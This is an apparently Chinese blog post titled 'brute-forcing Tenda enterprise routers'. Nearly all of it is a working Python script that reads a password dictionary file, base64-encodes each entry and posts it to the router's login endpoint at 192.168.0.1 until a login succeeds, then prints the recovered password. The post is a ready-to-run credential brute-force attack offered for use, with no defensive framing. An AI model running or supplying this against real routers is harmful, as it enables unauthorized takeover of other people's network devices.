• 暴力破解Tenda企业路由


    # -*- coding: utf-8 -*-
    import hashlib
    import io
    import sys
    import os
    import requests
    import urllib
    import base64
    
    
    
    
    def Dict_Data():
        f = open('data/dict.txt', 'r+')
        data = []
        line = f.readline()
        while line:
            line = f.readline()
            if "
    " in line:
                line = line.replace('
    ','')
                data.append(line)
            else:
                data.append(line)
        f.close()
        return data
    
    def Head_data():
        head = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh,zh-CN;q=0.9",
            "Cache-Control": "max-age=0",
            "Connection": "keep-alive",
            "Content-Length": "35",
            "Content-Type": "application/x-www-form-urlencoded",
            "Host": "192.168.0.1",
            "Origin": "http://192.168.0.1",
            "Referer": "http://192.168.0.1/login.asp",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
        }
        return head
    
    
    def PassWord_data():
        passdata = Dict_Data()
        temp = []
        num = int(len(passdata))
        for x in range(0,num):
            te = base64.b64encode(passdata[x].encode("utf-8"))
            temp.append(str(te,'utf-8'))
        return temp
    
    
    
    
    def Main():
        url = "http://192.168.0.1/login/Auth"
        passdata = PassWord_data()
        head = Head_data()
        pwd = ""
        num = int(len(passdata))
        print(num)
        for x in range(0,num):
            Post_Password_Data = {
                "password":passdata[x]
            }
            try:
                resp = requests.post(url,Post_Password_Data,headers=head)
                status = resp.url
                if "pwdError" in status:
                    print("第",str(x),"次尝试,失败,尝试的密码是:",str(base64.b64decode(str(passdata[x])),'utf-8'),"-----------状态码:",resp.status_code)
                else:
                    print("第",str(x),"次尝试,成功!!")
                    print("")
                    passw = base64.b64decode(passdata[x])
                    pwd = passw
                    print("密码是",str(passw))
                    print("")
                    break
            except:
                print("错误 ","第",str(x),"次尝试出错","错误类型:其他错误 代码:",resp.status_code,resp.headers)
                break
        if pwd == "":
            print("破解完毕,未找到密码")
        else:
            print("破解完毕,密码是",str(pwd))
    
    
    
    if __name__=="__main__":
        Main()
        # PassWord_data()
  • 相关阅读:
    FZU 1005 Fast Food(dp)
    POJ 3186 Treats for the Cows(区间DP)
    2016郑州轻工业学院校赛 B 蛤玮的财宝
    c++大数模板
    2015轻院校赛 H五子棋
    poj 1015 Jury Compromise
    modbus协议说明(转)
    STM32 flash 内存分布介绍
    STM32 程序所占用空间计算 && FLASH存储的起始地址计算
    C float与char数组 互转
  • 原文地址:https://www.cnblogs.com/chk141/p/12220282.html
Copyright © 2020-2023  润新知